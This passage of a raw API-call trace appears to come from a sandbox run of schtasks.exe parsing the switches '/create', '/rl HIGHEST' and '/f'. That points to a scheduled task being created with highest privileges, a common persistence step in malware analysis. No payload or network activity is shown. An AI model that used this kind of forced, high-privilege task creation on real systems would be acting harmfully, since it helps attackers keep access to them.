_ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.454] lstrlenW (lpString="|d|") returned 3 [0150.454] lstrlenW (lpString="|rl|") returned 4 [0150.454] SetLastError (dwErrCode=0x490) [0150.454] lstrlenW (lpString="m") returned 1 [0150.454] lstrlenW (lpString="m") returned 1 [0150.454] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.454] lstrlenW (lpString="rl") returned 2 [0150.454] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.454] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|m|") returned 3 [0150.454] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.454] lstrlenW (lpString="|m|") returned 3 [0150.454] lstrlenW (lpString="|rl|") returned 4 [0150.455] SetLastError (dwErrCode=0x490) [0150.455] lstrlenW (lpString="i") returned 1 [0150.455] lstrlenW (lpString="i") returned 1 [0150.455] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.455] lstrlenW (lpString="rl") returned 2 [0150.455] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.455] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|i|") returned 3 [0150.455] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.455] lstrlenW (lpString="|i|") returned 3 [0150.455] lstrlenW (lpString="|rl|") returned 4 [0150.455] SetLastError (dwErrCode=0x490) [0150.455] lstrlenW (lpString="tn") returned 2 [0150.455] lstrlenW (lpString="tn") returned 2 [0150.455] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.455] lstrlenW (lpString="rl") returned 2 [0150.455] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.455] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.455] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.455] lstrlenW (lpString="|tn|") returned 4 [0150.455] lstrlenW (lpString="|rl|") returned 4 [0150.455] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0150.455] SetLastError (dwErrCode=0x490) [0150.455] lstrlenW (lpString="tr") returned 2 [0150.455] lstrlenW (lpString="tr") returned 2 [0150.455] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.456] lstrlenW (lpString="rl") returned 2 [0150.456] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.456] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.456] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.456] lstrlenW (lpString="|tr|") returned 4 [0150.456] lstrlenW (lpString="|rl|") returned 4 [0150.456] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0150.456] SetLastError (dwErrCode=0x490) [0150.456] lstrlenW (lpString="st") returned 2 [0150.456] lstrlenW (lpString="st") returned 2 [0150.456] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.456] lstrlenW (lpString="rl") returned 2 [0150.456] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.456] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|st|") returned 4 [0150.456] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.456] lstrlenW (lpString="|st|") returned 4 [0150.456] lstrlenW (lpString="|rl|") returned 4 [0150.457] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0150.457] SetLastError (dwErrCode=0x490) [0150.457] lstrlenW (lpString="sd") returned 2 [0150.457] lstrlenW (lpString="sd") returned 2 [0150.457] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.457] lstrlenW (lpString="rl") returned 2 [0150.457] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.457] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sd|") returned 4 [0150.457] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.457] lstrlenW (lpString="|sd|") returned 4 [0150.457] lstrlenW (lpString="|rl|") returned 4 [0150.457] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0150.457] SetLastError (dwErrCode=0x490) [0150.457] lstrlenW (lpString="ed") returned 2 [0150.457] lstrlenW (lpString="ed") returned 2 [0150.457] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.457] lstrlenW (lpString="rl") returned 2 [0150.457] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.457] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ed|") returned 4 [0150.457] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.457] lstrlenW (lpString="|ed|") returned 4 [0150.457] lstrlenW (lpString="|rl|") returned 4 [0150.457] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0150.457] SetLastError (dwErrCode=0x490) [0150.457] lstrlenW (lpString="it") returned 2 [0150.457] lstrlenW (lpString="it") returned 2 [0150.458] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.458] lstrlenW (lpString="rl") returned 2 [0150.458] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.458] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|it|") returned 4 [0150.458] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.458] lstrlenW (lpString="|it|") returned 4 [0150.458] lstrlenW (lpString="|rl|") returned 4 [0150.458] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0150.458] SetLastError (dwErrCode=0x490) [0150.458] lstrlenW (lpString="et") returned 2 [0150.458] lstrlenW (lpString="et") returned 2 [0150.458] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.458] lstrlenW (lpString="rl") returned 2 [0150.458] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.458] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|et|") returned 4 [0150.458] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.458] lstrlenW (lpString="|et|") returned 4 [0150.458] lstrlenW (lpString="|rl|") returned 4 [0150.458] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0150.458] SetLastError (dwErrCode=0x490) [0150.458] lstrlenW (lpString="k") returned 1 [0150.458] lstrlenW (lpString="k") returned 1 [0150.458] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.458] lstrlenW (lpString="rl") returned 2 [0150.458] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.458] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|k|") returned 3 [0150.459] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.459] lstrlenW (lpString="|k|") returned 3 [0150.459] lstrlenW (lpString="|rl|") returned 4 [0150.459] SetLastError (dwErrCode=0x490) [0150.459] lstrlenW (lpString="du") returned 2 [0150.459] lstrlenW (lpString="du") returned 2 [0150.459] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.459] lstrlenW (lpString="rl") returned 2 [0150.459] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.459] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|du|") returned 4 [0150.459] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.459] lstrlenW (lpString="|du|") returned 4 [0150.459] lstrlenW (lpString="|rl|") returned 4 [0150.459] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0150.459] SetLastError (dwErrCode=0x490) [0150.459] lstrlenW (lpString="ri") returned 2 [0150.459] lstrlenW (lpString="ri") returned 2 [0150.459] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.459] lstrlenW (lpString="rl") returned 2 [0150.459] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.459] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ri|") returned 4 [0150.459] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.459] lstrlenW (lpString="|ri|") returned 4 [0150.459] lstrlenW (lpString="|rl|") returned 4 [0150.459] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0150.459] SetLastError (dwErrCode=0x490) [0150.460] lstrlenW (lpString="z") returned 1 [0150.460] lstrlenW (lpString="z") returned 1 [0150.460] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.460] lstrlenW (lpString="rl") returned 2 [0150.460] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.460] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|z|") returned 3 [0150.460] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.460] lstrlenW (lpString="|z|") returned 3 [0150.460] lstrlenW (lpString="|rl|") returned 4 [0150.460] SetLastError (dwErrCode=0x490) [0150.460] lstrlenW (lpString="f") returned 1 [0150.460] lstrlenW (lpString="f") returned 1 [0150.460] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.460] lstrlenW (lpString="rl") returned 2 [0150.460] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.460] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.461] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.461] lstrlenW (lpString="|f|") returned 3 [0150.461] lstrlenW (lpString="|rl|") returned 4 [0150.461] SetLastError (dwErrCode=0x490) [0150.461] lstrlenW (lpString="v1") returned 2 [0150.461] lstrlenW (lpString="v1") returned 2 [0150.461] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.461] lstrlenW (lpString="rl") returned 2 [0150.461] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.461] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|v1|") returned 4 [0150.461] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.461] lstrlenW (lpString="|v1|") returned 4 [0150.461] lstrlenW (lpString="|rl|") returned 4 [0150.461] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0150.461] SetLastError (dwErrCode=0x490) [0150.461] lstrlenW (lpString="xml") returned 3 [0150.461] lstrlenW (lpString="xml") returned 3 [0150.461] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.462] lstrlenW (lpString="rl") returned 2 [0150.462] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.462] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|xml|") returned 5 [0150.462] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.462] lstrlenW (lpString="|xml|") returned 5 [0150.462] lstrlenW (lpString="|rl|") returned 4 [0150.462] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0150.462] SetLastError (dwErrCode=0x490) [0150.462] lstrlenW (lpString="ec") returned 2 [0150.462] lstrlenW (lpString="ec") returned 2 [0150.462] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.462] lstrlenW (lpString="rl") returned 2 [0150.462] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.462] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ec|") returned 4 [0150.462] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.462] lstrlenW (lpString="|ec|") returned 4 [0150.462] lstrlenW (lpString="|rl|") returned 4 [0150.462] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0150.463] SetLastError (dwErrCode=0x490) [0150.463] lstrlenW (lpString="rl") returned 2 [0150.463] lstrlenW (lpString="rl") returned 2 [0150.463] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.463] lstrlenW (lpString="rl") returned 2 [0150.463] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.463] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.463] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.463] lstrlenW (lpString="|rl|") returned 4 [0150.463] lstrlenW (lpString="|rl|") returned 4 [0150.463] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0150.463] SetLastError (dwErrCode=0x0) [0150.463] SetLastError (dwErrCode=0x0) [0150.463] lstrlenW (lpString="HIGHEST") returned 7 [0150.463] lstrlenW (lpString="-/") returned 2 [0150.463] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0150.463] SetLastError (dwErrCode=0x490) [0150.463] SetLastError (dwErrCode=0x490) [0150.463] SetLastError (dwErrCode=0x0) [0150.463] lstrlenW (lpString="HIGHEST") returned 7 [0150.464] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0150.464] SetLastError (dwErrCode=0x490) [0150.464] SetLastError (dwErrCode=0x0) [0150.464] _memicmp (_Buf1=0x3cd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.464] lstrlenW (lpString="HIGHEST") returned 7 [0150.464] lstrlenW (lpString="HIGHEST") returned 7 [0150.464] lstrlenW (lpString=" \x09") returned 2 [0150.464] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0150.464] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0150.464] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0150.464] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0150.464] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0150.464] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0150.464] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0150.464] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0150.464] GetLastError () returned 0x0 [0150.476] lstrlenW (lpString="HIGHEST") returned 7 [0150.476] lstrlenW (lpString="HIGHEST") returned 7 [0150.476] SetLastError (dwErrCode=0x0) [0150.476] SetLastError (dwErrCode=0x0) [0150.476] lstrlenW (lpString="/f") returned 2 [0150.476] lstrlenW (lpString="-/") returned 2 [0150.476] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.476] lstrlenW (lpString="create") returned 6 [0150.477] lstrlenW (lpString="create") returned 6 [0150.477] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.477] lstrlenW (lpString="f") returned 1 [0150.477] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.477] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|create|") returned 8 [0150.477] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.477] lstrlenW (lpString="|create|") returned 8 [0150.477] lstrlenW (lpString="|f|") returned 3 [0150.477] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0150.477] SetLastError (dwErrCode=0x490) [0150.477] lstrlenW (lpString="?") returned 1 [0150.477] lstrlenW (lpString="?") returned 1 [0150.477] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.477] lstrlenW (lpString="f") returned 1 [0150.477] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.477] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|?|") returned 3 [0150.477] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.478] lstrlenW (lpString="|?|") returned 3 [0150.478] lstrlenW (lpString="|f|") returned 3 [0150.478] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0150.478] SetLastError (dwErrCode=0x490) [0150.478] lstrlenW (lpString="s") returned 1 [0150.478] lstrlenW (lpString="s") returned 1 [0150.478] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.478] lstrlenW (lpString="f") returned 1 [0150.478] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.478] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|s|") returned 3 [0150.478] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.478] lstrlenW (lpString="|s|") returned 3 [0150.478] lstrlenW (lpString="|f|") returned 3 [0150.478] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0150.478] SetLastError (dwErrCode=0x490) [0150.478] lstrlenW (lpString="u") returned 1 [0150.478] lstrlenW (lpString="u") returned 1 [0150.478] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.478] lstrlenW (lpString="f") returned 1 [0150.478] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.478] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|u|") returned 3 [0150.478] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.478] lstrlenW (lpString="|u|") returned 3 [0150.478] lstrlenW (lpString="|f|") returned 3 [0150.479] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0150.479] SetLastError (dwErrCode=0x490) [0150.479] lstrlenW (lpString="p") returned 1 [0150.479] lstrlenW (lpString="p") returned 1 [0150.479] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.479] lstrlenW (lpString="f") returned 1 [0150.479] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.479] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|p|") returned 3 [0150.479] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.479] lstrlenW (lpString="|p|") returned 3 [0150.479] lstrlenW (lpString="|f|") returned 3 [0150.479] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0150.479] SetLastError (dwErrCode=0x490) [0150.479] lstrlenW (lpString="ru") returned 2 [0150.479] lstrlenW (lpString="ru") returned 2 [0150.479] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.479] lstrlenW (lpString="f") returned 1 [0150.479] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.479] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ru|") returned 4 [0150.479] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.479] lstrlenW (lpString="|ru|") returned 4 [0150.479] lstrlenW (lpString="|f|") returned 3 [0150.479] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0150.479] SetLastError (dwErrCode=0x490) [0150.480] lstrlenW (lpString="rp") returned 2 [0150.480] lstrlenW (lpString="rp") returned 2 [0150.480] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.480] lstrlenW (lpString="f") returned 1 [0150.480] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.480] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rp|") returned 4 [0150.480] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.480] lstrlenW (lpString="|rp|") returned 4 [0150.480] lstrlenW (lpString="|f|") returned 3 [0150.480] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0150.480] SetLastError (dwErrCode=0x490) [0150.480] lstrlenW (lpString="sc") returned 2 [0150.480] lstrlenW (lpString="sc") returned 2 [0150.480] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.480] lstrlenW (lpString="f") returned 1 [0150.480] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.480] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.480] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.480] lstrlenW (lpString="|sc|") returned 4 [0150.480] lstrlenW (lpString="|f|") returned 3 [0150.480] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0150.480] SetLastError (dwErrCode=0x490) [0150.480] lstrlenW (lpString="mo") returned 2 [0150.480] lstrlenW (lpString="mo") returned 2 [0150.480] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.480] lstrlenW (lpString="f") returned 1 [0150.480] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.481] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.481] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.481] lstrlenW (lpString="|mo|") returned 4 [0150.481] lstrlenW (lpString="|f|") returned 3 [0150.481] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0150.481] SetLastError (dwErrCode=0x490) [0150.481] lstrlenW (lpString="d") returned 1 [0150.481] lstrlenW (lpString="d") returned 1 [0150.481] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.481] lstrlenW (lpString="f") returned 1 [0150.481] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.481] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|d|") returned 3 [0150.481] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.481] lstrlenW (lpString="|d|") returned 3 [0150.481] lstrlenW (lpString="|f|") returned 3 [0150.481] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0150.481] SetLastError (dwErrCode=0x490) [0150.481] lstrlenW (lpString="m") returned 1 [0150.481] lstrlenW (lpString="m") returned 1 [0150.481] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.481] lstrlenW (lpString="f") returned 1 [0150.481] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.481] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|m|") returned 3 [0150.481] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.482] lstrlenW (lpString="|m|") returned 3 [0150.482] lstrlenW (lpString="|f|") returned 3 [0150.482] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0150.482] SetLastError (dwErrCode=0x490) [0150.482] lstrlenW (lpString="i") returned 1 [0150.482] lstrlenW (lpString="i") returned 1 [0150.482] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.482] lstrlenW (lpString="f") returned 1 [0150.482] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.482] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|i|") returned 3 [0150.482] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.482] lstrlenW (lpString="|i|") returned 3 [0150.482] lstrlenW (lpString="|f|") returned 3 [0150.482] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0150.482] SetLastError (dwErrCode=0x490) [0150.482] lstrlenW (lpString="tn") returned 2 [0150.482] lstrlenW (lpString="tn") returned 2 [0150.482] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.482] lstrlenW (lpString="f") returned 1 [0150.482] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.482] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.482] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|f|") returned 3 [0150.482] lstrlenW (lpString="|tn|") returned 4 [0150.482] lstrlenW (lpString="|f|") returned 3 [0150.482] StrStrIW (lpFirst="|tn|", 